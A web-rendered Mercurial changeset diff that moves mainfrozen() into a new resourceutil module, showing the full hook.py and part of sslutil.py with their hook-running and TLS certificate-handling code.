##// END OF EJS Templates
procutil: move mainfrozen() to new resourceutil.py...
Martin von Zweigbergk -
r44067:664e2420 default
parent child Browse files
Show More
@@ -1,325 +1,326 b''
1 1 # hook.py - hook support for mercurial
2 2 #
3 3 # Copyright 2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import os
11 11 import sys
12 12
13 13 from .i18n import _
14 14 from .pycompat import getattr
15 15 from . import (
16 16 demandimport,
17 17 encoding,
18 18 error,
19 19 extensions,
20 20 pycompat,
21 21 util,
22 22 )
23 23 from .utils import (
24 24 procutil,
25 resourceutil,
25 26 stringutil,
26 27 )
27 28
28 29
29 30 def pythonhook(ui, repo, htype, hname, funcname, args, throw):
30 31 '''call python hook. hook is callable object, looked up as
31 32 name in python module. if callable returns "true", hook
32 33 fails, else passes. if hook raises exception, treated as
33 34 hook failure. exception propagates if throw is "true".
34 35
35 36 reason for "true" meaning "hook failed" is so that
36 37 unmodified commands (e.g. mercurial.commands.update) can
37 38 be run as hooks without wrappers to convert return values.'''
38 39
39 40 if callable(funcname):
40 41 obj = funcname
41 42 funcname = pycompat.sysbytes(obj.__module__ + "." + obj.__name__)
42 43 else:
43 44 d = funcname.rfind(b'.')
44 45 if d == -1:
45 46 raise error.HookLoadError(
46 47 _(b'%s hook is invalid: "%s" not in a module')
47 48 % (hname, funcname)
48 49 )
49 50 modname = funcname[:d]
50 51 oldpaths = sys.path
51 if procutil.mainfrozen():
52 if resourceutil.mainfrozen():
52 53 # binary installs require sys.path manipulation
53 54 modpath, modfile = os.path.split(modname)
54 55 if modpath and modfile:
55 56 sys.path = sys.path[:] + [modpath]
56 57 modname = modfile
57 58 with demandimport.deactivated():
58 59 try:
59 60 obj = __import__(pycompat.sysstr(modname))
60 61 except (ImportError, SyntaxError):
61 62 e1 = sys.exc_info()
62 63 try:
63 64 # extensions are loaded with hgext_ prefix
64 65 obj = __import__("hgext_%s" % pycompat.sysstr(modname))
65 66 except (ImportError, SyntaxError):
66 67 e2 = sys.exc_info()
67 68 if ui.tracebackflag:
68 69 ui.warn(
69 70 _(
70 71 b'exception from first failed import '
71 72 b'attempt:\n'
72 73 )
73 74 )
74 75 ui.traceback(e1)
75 76 if ui.tracebackflag:
76 77 ui.warn(
77 78 _(
78 79 b'exception from second failed import '
79 80 b'attempt:\n'
80 81 )
81 82 )
82 83 ui.traceback(e2)
83 84
84 85 if not ui.tracebackflag:
85 86 tracebackhint = _(
86 87 b'run with --traceback for stack trace'
87 88 )
88 89 else:
89 90 tracebackhint = None
90 91 raise error.HookLoadError(
91 92 _(b'%s hook is invalid: import of "%s" failed')
92 93 % (hname, modname),
93 94 hint=tracebackhint,
94 95 )
95 96 sys.path = oldpaths
96 97 try:
97 98 for p in funcname.split(b'.')[1:]:
98 99 obj = getattr(obj, p)
99 100 except AttributeError:
100 101 raise error.HookLoadError(
101 102 _(b'%s hook is invalid: "%s" is not defined')
102 103 % (hname, funcname)
103 104 )
104 105 if not callable(obj):
105 106 raise error.HookLoadError(
106 107 _(b'%s hook is invalid: "%s" is not callable')
107 108 % (hname, funcname)
108 109 )
109 110
110 111 ui.note(_(b"calling hook %s: %s\n") % (hname, funcname))
111 112 starttime = util.timer()
112 113
113 114 try:
114 115 r = obj(ui=ui, repo=repo, hooktype=htype, **pycompat.strkwargs(args))
115 116 except Exception as exc:
116 117 if isinstance(exc, error.Abort):
117 118 ui.warn(_(b'error: %s hook failed: %s\n') % (hname, exc.args[0]))
118 119 else:
119 120 ui.warn(
120 121 _(b'error: %s hook raised an exception: %s\n')
121 122 % (hname, stringutil.forcebytestr(exc))
122 123 )
123 124 if throw:
124 125 raise
125 126 if not ui.tracebackflag:
126 127 ui.warn(_(b'(run with --traceback for stack trace)\n'))
127 128 ui.traceback()
128 129 return True, True
129 130 finally:
130 131 duration = util.timer() - starttime
131 132 ui.log(
132 133 b'pythonhook',
133 134 b'pythonhook-%s: %s finished in %0.2f seconds\n',
134 135 htype,
135 136 funcname,
136 137 duration,
137 138 )
138 139 if r:
139 140 if throw:
140 141 raise error.HookAbort(_(b'%s hook failed') % hname)
141 142 ui.warn(_(b'warning: %s hook failed\n') % hname)
142 143 return r, False
143 144
144 145
145 146 def _exthook(ui, repo, htype, name, cmd, args, throw):
146 147 starttime = util.timer()
147 148 env = {}
148 149
149 150 # make in-memory changes visible to external process
150 151 if repo is not None:
151 152 tr = repo.currenttransaction()
152 153 repo.dirstate.write(tr)
153 154 if tr and tr.writepending():
154 155 env[b'HG_PENDING'] = repo.root
155 156 env[b'HG_HOOKTYPE'] = htype
156 157 env[b'HG_HOOKNAME'] = name
157 158
158 159 for k, v in pycompat.iteritems(args):
159 160 if callable(v):
160 161 v = v()
161 162 if isinstance(v, (dict, list)):
162 163 v = stringutil.pprint(v)
163 164 env[b'HG_' + k.upper()] = v
164 165
165 166 if ui.configbool(b'hooks', b'tonative.%s' % name, False):
166 167 oldcmd = cmd
167 168 cmd = procutil.shelltonative(cmd, env)
168 169 if cmd != oldcmd:
169 170 ui.note(_(b'converting hook "%s" to native\n') % name)
170 171
171 172 ui.note(_(b"running hook %s: %s\n") % (name, cmd))
172 173
173 174 if repo:
174 175 cwd = repo.root
175 176 else:
176 177 cwd = encoding.getcwd()
177 178 r = ui.system(cmd, environ=env, cwd=cwd, blockedtag=b'exthook-%s' % (name,))
178 179
179 180 duration = util.timer() - starttime
180 181 ui.log(
181 182 b'exthook',
182 183 b'exthook-%s: %s finished in %0.2f seconds\n',
183 184 name,
184 185 cmd,
185 186 duration,
186 187 )
187 188 if r:
188 189 desc = procutil.explainexit(r)
189 190 if throw:
190 191 raise error.HookAbort(_(b'%s hook %s') % (name, desc))
191 192 ui.warn(_(b'warning: %s hook %s\n') % (name, desc))
192 193 return r
193 194
194 195
195 196 # represent an untrusted hook command
196 197 _fromuntrusted = object()
197 198
198 199
199 200 def _allhooks(ui):
200 201 """return a list of (hook-id, cmd) pairs sorted by priority"""
201 202 hooks = _hookitems(ui)
202 203 # Be careful in this section, propagating the real commands from untrusted
203 204 # sources would create a security vulnerability, make sure anything altered
204 205 # in that section uses "_fromuntrusted" as its command.
205 206 untrustedhooks = _hookitems(ui, _untrusted=True)
206 207 for name, value in untrustedhooks.items():
207 208 trustedvalue = hooks.get(name, (None, None, name, _fromuntrusted))
208 209 if value != trustedvalue:
209 210 (lp, lo, lk, lv) = trustedvalue
210 211 hooks[name] = (lp, lo, lk, _fromuntrusted)
211 212 # (end of the security sensitive section)
212 213 return [(k, v) for p, o, k, v in sorted(hooks.values())]
213 214
214 215
215 216 def _hookitems(ui, _untrusted=False):
216 217 """return all hooks items ready to be sorted"""
217 218 hooks = {}
218 219 for name, cmd in ui.configitems(b'hooks', untrusted=_untrusted):
219 220 if name.startswith(b'priority.') or name.startswith(b'tonative.'):
220 221 continue
221 222
222 223 priority = ui.configint(b'hooks', b'priority.%s' % name, 0)
223 224 hooks[name] = (-priority, len(hooks), name, cmd)
224 225 return hooks
225 226
226 227
227 228 _redirect = False
228 229
229 230
230 231 def redirect(state):
231 232 global _redirect
232 233 _redirect = state
233 234
234 235
235 236 def hashook(ui, htype):
236 237 """return True if a hook is configured for 'htype'"""
237 238 if not ui.callhooks:
238 239 return False
239 240 for hname, cmd in _allhooks(ui):
240 241 if hname.split(b'.')[0] == htype and cmd:
241 242 return True
242 243 return False
243 244
244 245
245 246 def hook(ui, repo, htype, throw=False, **args):
246 247 if not ui.callhooks:
247 248 return False
248 249
249 250 hooks = []
250 251 for hname, cmd in _allhooks(ui):
251 252 if hname.split(b'.')[0] == htype and cmd:
252 253 hooks.append((hname, cmd))
253 254
254 255 res = runhooks(ui, repo, htype, hooks, throw=throw, **args)
255 256 r = False
256 257 for hname, cmd in hooks:
257 258 r = res[hname][0] or r
258 259 return r
259 260
260 261
261 262 def runhooks(ui, repo, htype, hooks, throw=False, **args):
262 263 args = pycompat.byteskwargs(args)
263 264 res = {}
264 265 oldstdout = -1
265 266
266 267 try:
267 268 for hname, cmd in hooks:
268 269 if oldstdout == -1 and _redirect:
269 270 try:
270 271 stdoutno = procutil.stdout.fileno()
271 272 stderrno = procutil.stderr.fileno()
272 273 # temporarily redirect stdout to stderr, if possible
273 274 if stdoutno >= 0 and stderrno >= 0:
274 275 procutil.stdout.flush()
275 276 oldstdout = os.dup(stdoutno)
276 277 os.dup2(stderrno, stdoutno)
277 278 except (OSError, AttributeError):
278 279 # files seem to be bogus, give up on redirecting (WSGI, etc)
279 280 pass
280 281
281 282 if cmd is _fromuntrusted:
282 283 if throw:
283 284 raise error.HookAbort(
284 285 _(b'untrusted hook %s not executed') % hname,
285 286 hint=_(b"see 'hg help config.trusted'"),
286 287 )
287 288 ui.warn(_(b'warning: untrusted hook %s not executed\n') % hname)
288 289 r = 1
289 290 raised = False
290 291 elif callable(cmd):
291 292 r, raised = pythonhook(ui, repo, htype, hname, cmd, args, throw)
292 293 elif cmd.startswith(b'python:'):
293 294 if cmd.count(b':') >= 2:
294 295 path, cmd = cmd[7:].rsplit(b':', 1)
295 296 path = util.expandpath(path)
296 297 if repo:
297 298 path = os.path.join(repo.root, path)
298 299 try:
299 300 mod = extensions.loadpath(path, b'hghook.%s' % hname)
300 301 except Exception:
301 302 ui.write(_(b"loading %s hook failed:\n") % hname)
302 303 raise
303 304 hookfn = getattr(mod, cmd)
304 305 else:
305 306 hookfn = cmd[7:].strip()
306 307 r, raised = pythonhook(
307 308 ui, repo, htype, hname, hookfn, args, throw
308 309 )
309 310 else:
310 311 r = _exthook(ui, repo, htype, hname, cmd, args, throw)
311 312 raised = False
312 313
313 314 res[hname] = r, raised
314 315 finally:
315 316 # The stderr is fully buffered on Windows when connected to a pipe.
316 317 # A forcible flush is required to make small stderr data in the
317 318 # remote side available to the client immediately.
318 319 procutil.stderr.flush()
319 320
320 321 if _redirect and oldstdout >= 0:
321 322 procutil.stdout.flush() # write hook output to stderr fd
322 323 os.dup2(oldstdout, stdoutno)
323 324 os.close(oldstdout)
324 325
325 326 return res
@@ -1,1023 +1,1023 b''
1 1 # sslutil.py - SSL handling for mercurial
2 2 #
3 3 # Copyright 2005, 2006, 2007, 2008 Matt Mackall <mpm@selenic.com>
4 4 # Copyright 2006, 2007 Alexis S. L. Carvalho <alexis@cecm.usp.br>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 from __future__ import absolute_import
11 11
12 12 import hashlib
13 13 import os
14 14 import re
15 15 import ssl
16 16
17 17 from .i18n import _
18 18 from .pycompat import getattr
19 19 from . import (
20 20 encoding,
21 21 error,
22 22 node,
23 23 pycompat,
24 24 util,
25 25 )
26 26 from .utils import (
27 procutil,
27 resourceutil,
28 28 stringutil,
29 29 )
30 30
31 31 # Python 2.7.9+ overhauled the built-in SSL/TLS features of Python. It added
32 32 # support for TLS 1.1, TLS 1.2, SNI, system CA stores, etc. These features are
33 33 # all exposed via the "ssl" module.
34 34 #
35 35 # Depending on the version of Python being used, SSL/TLS support is either
36 36 # modern/secure or legacy/insecure. Many operations in this module have
37 37 # separate code paths depending on support in Python.
38 38
39 39 configprotocols = {
40 40 b'tls1.0',
41 41 b'tls1.1',
42 42 b'tls1.2',
43 43 }
44 44
45 45 hassni = getattr(ssl, 'HAS_SNI', False)
46 46
47 47 # TLS 1.1 and 1.2 may not be supported if the OpenSSL Python is compiled
48 48 # against doesn't support them.
49 49 supportedprotocols = {b'tls1.0'}
50 50 if util.safehasattr(ssl, b'PROTOCOL_TLSv1_1'):
51 51 supportedprotocols.add(b'tls1.1')
52 52 if util.safehasattr(ssl, b'PROTOCOL_TLSv1_2'):
53 53 supportedprotocols.add(b'tls1.2')
54 54
55 55 try:
56 56 # ssl.SSLContext was added in 2.7.9 and presence indicates modern
57 57 # SSL/TLS features are available.
58 58 SSLContext = ssl.SSLContext
59 59 modernssl = True
60 60 _canloaddefaultcerts = util.safehasattr(SSLContext, b'load_default_certs')
61 61 except AttributeError:
62 62 modernssl = False
63 63 _canloaddefaultcerts = False
64 64
65 65 # We implement SSLContext using the interface from the standard library.
66 66 class SSLContext(object):
67 67 def __init__(self, protocol):
68 68 # From the public interface of SSLContext
69 69 self.protocol = protocol
70 70 self.check_hostname = False
71 71 self.options = 0
72 72 self.verify_mode = ssl.CERT_NONE
73 73
74 74 # Used by our implementation.
75 75 self._certfile = None
76 76 self._keyfile = None
77 77 self._certpassword = None
78 78 self._cacerts = None
79 79 self._ciphers = None
80 80
81 81 def load_cert_chain(self, certfile, keyfile=None, password=None):
82 82 self._certfile = certfile
83 83 self._keyfile = keyfile
84 84 self._certpassword = password
85 85
86 86 def load_default_certs(self, purpose=None):
87 87 pass
88 88
89 89 def load_verify_locations(self, cafile=None, capath=None, cadata=None):
90 90 if capath:
91 91 raise error.Abort(_(b'capath not supported'))
92 92 if cadata:
93 93 raise error.Abort(_(b'cadata not supported'))
94 94
95 95 self._cacerts = cafile
96 96
97 97 def set_ciphers(self, ciphers):
98 98 self._ciphers = ciphers
99 99
100 100 def wrap_socket(self, socket, server_hostname=None, server_side=False):
101 101 # server_hostname is unique to SSLContext.wrap_socket and is used
102 102 # for SNI in that context. So there's nothing for us to do with it
103 103 # in this legacy code since we don't support SNI.
104 104
105 105 args = {
106 106 'keyfile': self._keyfile,
107 107 'certfile': self._certfile,
108 108 'server_side': server_side,
109 109 'cert_reqs': self.verify_mode,
110 110 'ssl_version': self.protocol,
111 111 'ca_certs': self._cacerts,
112 112 'ciphers': self._ciphers,
113 113 }
114 114
115 115 return ssl.wrap_socket(socket, **args)
116 116
117 117
118 118 def _hostsettings(ui, hostname):
119 119 """Obtain security settings for a hostname.
120 120
121 121 Returns a dict of settings relevant to that hostname.
122 122 """
123 123 bhostname = pycompat.bytesurl(hostname)
124 124 s = {
125 125 # Whether we should attempt to load default/available CA certs
126 126 # if an explicit ``cafile`` is not defined.
127 127 b'allowloaddefaultcerts': True,
128 128 # List of 2-tuple of (hash algorithm, hash).
129 129 b'certfingerprints': [],
130 130 # Path to file containing concatenated CA certs. Used by
131 131 # SSLContext.load_verify_locations().
132 132 b'cafile': None,
133 133 # Whether certificate verification should be disabled.
134 134 b'disablecertverification': False,
135 135 # Whether the legacy [hostfingerprints] section has data for this host.
136 136 b'legacyfingerprint': False,
137 137 # PROTOCOL_* constant to use for SSLContext.__init__.
138 138 b'protocol': None,
139 139 # String representation of minimum protocol to be used for UI
140 140 # presentation.
141 141 b'protocolui': None,
142 142 # ssl.CERT_* constant used by SSLContext.verify_mode.
143 143 b'verifymode': None,
144 144 # Defines extra ssl.OP* bitwise options to set.
145 145 b'ctxoptions': None,
146 146 # OpenSSL Cipher List to use (instead of default).
147 147 b'ciphers': None,
148 148 }
149 149
150 150 # Allow minimum TLS protocol to be specified in the config.
151 151 def validateprotocol(protocol, key):
152 152 if protocol not in configprotocols:
153 153 raise error.Abort(
154 154 _(b'unsupported protocol from hostsecurity.%s: %s')
155 155 % (key, protocol),
156 156 hint=_(b'valid protocols: %s')
157 157 % b' '.join(sorted(configprotocols)),
158 158 )
159 159
160 160 # We default to TLS 1.1+ where we can because TLS 1.0 has known
161 161 # vulnerabilities (like BEAST and POODLE). We allow users to downgrade to
162 162 # TLS 1.0+ via config options in case a legacy server is encountered.
163 163 if b'tls1.1' in supportedprotocols:
164 164 defaultprotocol = b'tls1.1'
165 165 else:
166 166 # Let people know they are borderline secure.
167 167 # We don't document this config option because we want people to see
168 168 # the bold warnings on the web site.
169 169 # internal config: hostsecurity.disabletls10warning
170 170 if not ui.configbool(b'hostsecurity', b'disabletls10warning'):
171 171 ui.warn(
172 172 _(
173 173 b'warning: connecting to %s using legacy security '
174 174 b'technology (TLS 1.0); see '
175 175 b'https://mercurial-scm.org/wiki/SecureConnections for '
176 176 b'more info\n'
177 177 )
178 178 % bhostname
179 179 )
180 180 defaultprotocol = b'tls1.0'
181 181
182 182 key = b'minimumprotocol'
183 183 protocol = ui.config(b'hostsecurity', key, defaultprotocol)
184 184 validateprotocol(protocol, key)
185 185
186 186 key = b'%s:minimumprotocol' % bhostname
187 187 protocol = ui.config(b'hostsecurity', key, protocol)
188 188 validateprotocol(protocol, key)
189 189
190 190 # If --insecure is used, we allow the use of TLS 1.0 despite config options.
191 191 # We always print a "connection security to %s is disabled..." message when
192 192 # --insecure is used. So no need to print anything more here.
193 193 if ui.insecureconnections:
194 194 protocol = b'tls1.0'
195 195
196 196 s[b'protocol'], s[b'ctxoptions'], s[b'protocolui'] = protocolsettings(
197 197 protocol
198 198 )
199 199
200 200 ciphers = ui.config(b'hostsecurity', b'ciphers')
201 201 ciphers = ui.config(b'hostsecurity', b'%s:ciphers' % bhostname, ciphers)
202 202 s[b'ciphers'] = ciphers
203 203
204 204 # Look for fingerprints in [hostsecurity] section. Value is a list
205 205 # of <alg>:<fingerprint> strings.
206 206 fingerprints = ui.configlist(
207 207 b'hostsecurity', b'%s:fingerprints' % bhostname
208 208 )
209 209 for fingerprint in fingerprints:
210 210 if not (fingerprint.startswith((b'sha1:', b'sha256:', b'sha512:'))):
211 211 raise error.Abort(
212 212 _(b'invalid fingerprint for %s: %s') % (bhostname, fingerprint),
213 213 hint=_(b'must begin with "sha1:", "sha256:", or "sha512:"'),
214 214 )
215 215
216 216 alg, fingerprint = fingerprint.split(b':', 1)
217 217 fingerprint = fingerprint.replace(b':', b'').lower()
218 218 s[b'certfingerprints'].append((alg, fingerprint))
219 219
220 220 # Fingerprints from [hostfingerprints] are always SHA-1.
221 221 for fingerprint in ui.configlist(b'hostfingerprints', bhostname):
222 222 fingerprint = fingerprint.replace(b':', b'').lower()
223 223 s[b'certfingerprints'].append((b'sha1', fingerprint))
224 224 s[b'legacyfingerprint'] = True
225 225
226 226 # If a host cert fingerprint is defined, it is the only thing that
227 227 # matters. No need to validate CA certs.
228 228 if s[b'certfingerprints']:
229 229 s[b'verifymode'] = ssl.CERT_NONE
230 230 s[b'allowloaddefaultcerts'] = False
231 231
232 232 # If --insecure is used, don't take CAs into consideration.
233 233 elif ui.insecureconnections:
234 234 s[b'disablecertverification'] = True
235 235 s[b'verifymode'] = ssl.CERT_NONE
236 236 s[b'allowloaddefaultcerts'] = False
237 237
238 238 if ui.configbool(b'devel', b'disableloaddefaultcerts'):
239 239 s[b'allowloaddefaultcerts'] = False
240 240
241 241 # If both fingerprints and a per-host ca file are specified, issue a warning
242 242 # because users should not be surprised about what security is or isn't
243 243 # being performed.
244 244 cafile = ui.config(b'hostsecurity', b'%s:verifycertsfile' % bhostname)
245 245 if s[b'certfingerprints'] and cafile:
246 246 ui.warn(
247 247 _(
248 248 b'(hostsecurity.%s:verifycertsfile ignored when host '
249 249 b'fingerprints defined; using host fingerprints for '
250 250 b'verification)\n'
251 251 )
252 252 % bhostname
253 253 )
254 254
255 255 # Try to hook up CA certificate validation unless something above
256 256 # makes it not necessary.
257 257 if s[b'verifymode'] is None:
258 258 # Look at per-host ca file first.
259 259 if cafile:
260 260 cafile = util.expandpath(cafile)
261 261 if not os.path.exists(cafile):
262 262 raise error.Abort(
263 263 _(b'path specified by %s does not exist: %s')
264 264 % (
265 265 b'hostsecurity.%s:verifycertsfile' % (bhostname,),
266 266 cafile,
267 267 )
268 268 )
269 269 s[b'cafile'] = cafile
270 270 else:
271 271 # Find global certificates file in config.
272 272 cafile = ui.config(b'web', b'cacerts')
273 273
274 274 if cafile:
275 275 cafile = util.expandpath(cafile)
276 276 if not os.path.exists(cafile):
277 277 raise error.Abort(
278 278 _(b'could not find web.cacerts: %s') % cafile
279 279 )
280 280 elif s[b'allowloaddefaultcerts']:
281 281 # CAs not defined in config. Try to find system bundles.
282 282 cafile = _defaultcacerts(ui)
283 283 if cafile:
284 284 ui.debug(b'using %s for CA file\n' % cafile)
285 285
286 286 s[b'cafile'] = cafile
287 287
288 288 # Require certificate validation if CA certs are being loaded and
289 289 # verification hasn't been disabled above.
290 290 if cafile or (_canloaddefaultcerts and s[b'allowloaddefaultcerts']):
291 291 s[b'verifymode'] = ssl.CERT_REQUIRED
292 292 else:
293 293 # At this point we don't have a fingerprint, aren't being
294 294 # explicitly insecure, and can't load CA certs. Connecting
295 295 # is insecure. We allow the connection and abort during
296 296 # validation (once we have the fingerprint to print to the
297 297 # user).
298 298 s[b'verifymode'] = ssl.CERT_NONE
299 299
300 300 assert s[b'protocol'] is not None
301 301 assert s[b'ctxoptions'] is not None
302 302 assert s[b'verifymode'] is not None
303 303
304 304 return s
305 305
306 306
307 307 def protocolsettings(protocol):
308 308 """Resolve the protocol for a config value.
309 309
310 310 Returns a 3-tuple of (protocol, options, ui value) where the first
311 311 2 items are values used by SSLContext and the last is a string value
312 312 of the ``minimumprotocol`` config option equivalent.
313 313 """
314 314 if protocol not in configprotocols:
315 315 raise ValueError(b'protocol value not supported: %s' % protocol)
316 316
317 317 # Despite its name, PROTOCOL_SSLv23 selects the highest protocol
318 318 # that both ends support, including TLS protocols. On legacy stacks,
319 319 # the highest it likely goes is TLS 1.0. On modern stacks, it can
320 320 # support TLS 1.2.
321 321 #
322 322 # The PROTOCOL_TLSv* constants select a specific TLS version
323 323 # only (as opposed to multiple versions). So the method for
324 324 # supporting multiple TLS versions is to use PROTOCOL_SSLv23 and
325 325 # disable protocols via SSLContext.options and OP_NO_* constants.
326 326 # However, SSLContext.options doesn't work unless we have the
327 327 # full/real SSLContext available to us.
328 328 if supportedprotocols == {b'tls1.0'}:
329 329 if protocol != b'tls1.0':
330 330 raise error.Abort(
331 331 _(b'current Python does not support protocol setting %s')
332 332 % protocol,
333 333 hint=_(
334 334 b'upgrade Python or disable setting since '
335 335 b'only TLS 1.0 is supported'
336 336 ),
337 337 )
338 338
339 339 return ssl.PROTOCOL_TLSv1, 0, b'tls1.0'
340 340
341 341 # WARNING: returned options don't work unless the modern ssl module
342 342 # is available. Be careful when adding options here.
343 343
344 344 # SSLv2 and SSLv3 are broken. We ban them outright.
345 345 options = ssl.OP_NO_SSLv2 | ssl.OP_NO_SSLv3
346 346
347 347 if protocol == b'tls1.0':
348 348 # Defaults above are to use TLS 1.0+
349 349 pass
350 350 elif protocol == b'tls1.1':
351 351 options |= ssl.OP_NO_TLSv1
352 352 elif protocol == b'tls1.2':
353 353 options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1
354 354 else:
355 355 raise error.Abort(_(b'this should not happen'))
356 356
357 357 # Prevent CRIME.
358 358 # There is no guarantee this attribute is defined on the module.
359 359 options |= getattr(ssl, 'OP_NO_COMPRESSION', 0)
360 360
361 361 return ssl.PROTOCOL_SSLv23, options, protocol
362 362
363 363
364 364 def wrapsocket(sock, keyfile, certfile, ui, serverhostname=None):
365 365 """Add SSL/TLS to a socket.
366 366
367 367 This is a glorified wrapper for ``ssl.wrap_socket()``. It makes sane
368 368 choices based on what security options are available.
369 369
370 370 In addition to the arguments supported by ``ssl.wrap_socket``, we allow
371 371 the following additional arguments:
372 372
373 373 * serverhostname - The expected hostname of the remote server. If the
374 374 server (and client) support SNI, this tells the server which certificate
375 375 to use.
376 376 """
377 377 if not serverhostname:
378 378 raise error.Abort(_(b'serverhostname argument is required'))
379 379
380 380 if b'SSLKEYLOGFILE' in encoding.environ:
381 381 try:
382 382 import sslkeylog
383 383
384 384 sslkeylog.set_keylog(
385 385 pycompat.fsdecode(encoding.environ[b'SSLKEYLOGFILE'])
386 386 )
387 387 ui.warnnoi18n(
388 388 b'sslkeylog enabled by SSLKEYLOGFILE environment variable\n'
389 389 )
390 390 except ImportError:
391 391 ui.warnnoi18n(
392 392 b'sslkeylog module missing, '
393 393 b'but SSLKEYLOGFILE set in environment\n'
394 394 )
395 395
396 396 for f in (keyfile, certfile):
397 397 if f and not os.path.exists(f):
398 398 raise error.Abort(
399 399 _(b'certificate file (%s) does not exist; cannot connect to %s')
400 400 % (f, pycompat.bytesurl(serverhostname)),
401 401 hint=_(
402 402 b'restore missing file or fix references '
403 403 b'in Mercurial config'
404 404 ),
405 405 )
406 406
407 407 settings = _hostsettings(ui, serverhostname)
408 408
409 409 # We can't use ssl.create_default_context() because it calls
410 410 # load_default_certs() unless CA arguments are passed to it. We want to
411 411 # have explicit control over CA loading because implicitly loading
412 412 # CAs may undermine the user's intent. For example, a user may define a CA
413 413 # bundle with a specific CA cert removed. If the system/default CA bundle
414 414 # is loaded and contains that removed CA, you've just undone the user's
415 415 # choice.
416 416 sslcontext = SSLContext(settings[b'protocol'])
417 417
418 418 # This is a no-op unless using modern ssl.
419 419 sslcontext.options |= settings[b'ctxoptions']
420 420
421 421 # This still works on our fake SSLContext.
422 422 sslcontext.verify_mode = settings[b'verifymode']
423 423
424 424 if settings[b'ciphers']:
425 425 try:
426 426 sslcontext.set_ciphers(pycompat.sysstr(settings[b'ciphers']))
427 427 except ssl.SSLError as e:
428 428 raise error.Abort(
429 429 _(b'could not set ciphers: %s')
430 430 % stringutil.forcebytestr(e.args[0]),
431 431 hint=_(b'change cipher string (%s) in config')
432 432 % settings[b'ciphers'],
433 433 )
434 434
435 435 if certfile is not None:
436 436
437 437 def password():
438 438 f = keyfile or certfile
439 439 return ui.getpass(_(b'passphrase for %s: ') % f, b'')
440 440
441 441 sslcontext.load_cert_chain(certfile, keyfile, password)
442 442
443 443 if settings[b'cafile'] is not None:
444 444 try:
445 445 sslcontext.load_verify_locations(cafile=settings[b'cafile'])
446 446 except ssl.SSLError as e:
447 447 if len(e.args) == 1: # pypy has different SSLError args
448 448 msg = e.args[0]
449 449 else:
450 450 msg = e.args[1]
451 451 raise error.Abort(
452 452 _(b'error loading CA file %s: %s')
453 453 % (settings[b'cafile'], stringutil.forcebytestr(msg)),
454 454 hint=_(b'file is empty or malformed?'),
455 455 )
456 456 caloaded = True
457 457 elif settings[b'allowloaddefaultcerts']:
458 458 # This is a no-op on old Python.
459 459 sslcontext.load_default_certs()
460 460 caloaded = True
461 461 else:
462 462 caloaded = False
463 463
464 464 try:
465 465 sslsocket = sslcontext.wrap_socket(sock, server_hostname=serverhostname)
466 466 except ssl.SSLError as e:
467 467 # If we're doing certificate verification and no CA certs are loaded,
468 468 # that is almost certainly the reason why verification failed. Provide
469 469 # a hint to the user.
470 470 # Only modern ssl module exposes SSLContext.get_ca_certs() so we can
471 471 # only show this warning if modern ssl is available.
472 472 # The exception handler is here to handle bugs around cert attributes:
473 473 # https://bugs.python.org/issue20916#msg213479. (See issues5313.)
474 474 # When the main 20916 bug occurs, 'sslcontext.get_ca_certs()' is a
475 475 # non-empty list, but the following conditional is otherwise True.
476 476 try:
477 477 if (
478 478 caloaded
479 479 and settings[b'verifymode'] == ssl.CERT_REQUIRED
480 480 and modernssl
481 481 and not sslcontext.get_ca_certs()
482 482 ):
483 483 ui.warn(
484 484 _(
485 485 b'(an attempt was made to load CA certificates but '
486 486 b'none were loaded; see '
487 487 b'https://mercurial-scm.org/wiki/SecureConnections '
488 488 b'for how to configure Mercurial to avoid this '
489 489 b'error)\n'
490 490 )
491 491 )
492 492 except ssl.SSLError:
493 493 pass
494 494
495 495 # Try to print more helpful error messages for known failures.
496 496 if util.safehasattr(e, b'reason'):
497 497 # This error occurs when the client and server don't share a
498 498 # common/supported SSL/TLS protocol. We've disabled SSLv2 and SSLv3
499 499 # outright. Hopefully the reason for this error is that we require
500 500 # TLS 1.1+ and the server only supports TLS 1.0. Whatever the
501 501 # reason, try to emit an actionable warning.
502 502 if e.reason == 'UNSUPPORTED_PROTOCOL':
503 503 # We attempted TLS 1.0+.
504 504 if settings[b'protocolui'] == b'tls1.0':
505 505 # We support more than just TLS 1.0+. If this happens,
506 506 # the likely scenario is either the client or the server
507 507 # is really old. (e.g. server doesn't support TLS 1.0+ or
508 508 # client doesn't support modern TLS versions introduced
509 509 # several years from when this comment was written).
510 510 if supportedprotocols != {b'tls1.0'}:
511 511 ui.warn(
512 512 _(
513 513 b'(could not communicate with %s using security '
514 514 b'protocols %s; if you are using a modern Mercurial '
515 515 b'version, consider contacting the operator of this '
516 516 b'server; see '
517 517 b'https://mercurial-scm.org/wiki/SecureConnections '
518 518 b'for more info)\n'
519 519 )
520 520 % (
521 521 pycompat.bytesurl(serverhostname),
522 522 b', '.join(sorted(supportedprotocols)),
523 523 )
524 524 )
525 525 else:
526 526 ui.warn(
527 527 _(
528 528 b'(could not communicate with %s using TLS 1.0; the '
529 529 b'likely cause of this is the server no longer '
530 530 b'supports TLS 1.0 because it has known security '
531 531 b'vulnerabilities; see '
532 532 b'https://mercurial-scm.org/wiki/SecureConnections '
533 533 b'for more info)\n'
534 534 )
535 535 % pycompat.bytesurl(serverhostname)
536 536 )
537 537 else:
538 538 # We attempted TLS 1.1+. We can only get here if the client
539 539 # supports the configured protocol. So the likely reason is
540 540 # the client wants better security than the server can
541 541 # offer.
542 542 ui.warn(
543 543 _(
544 544 b'(could not negotiate a common security protocol (%s+) '
545 545 b'with %s; the likely cause is Mercurial is configured '
546 546 b'to be more secure than the server can support)\n'
547 547 )
548 548 % (
549 549 settings[b'protocolui'],
550 550 pycompat.bytesurl(serverhostname),
551 551 )
552 552 )
553 553 ui.warn(
554 554 _(
555 555 b'(consider contacting the operator of this '
556 556 b'server and ask them to support modern TLS '
557 557 b'protocol versions; or, set '
558 558 b'hostsecurity.%s:minimumprotocol=tls1.0 to allow '
559 559 b'use of legacy, less secure protocols when '
560 560 b'communicating with this server)\n'
561 561 )
562 562 % pycompat.bytesurl(serverhostname)
563 563 )
564 564 ui.warn(
565 565 _(
566 566 b'(see https://mercurial-scm.org/wiki/SecureConnections '
567 567 b'for more info)\n'
568 568 )
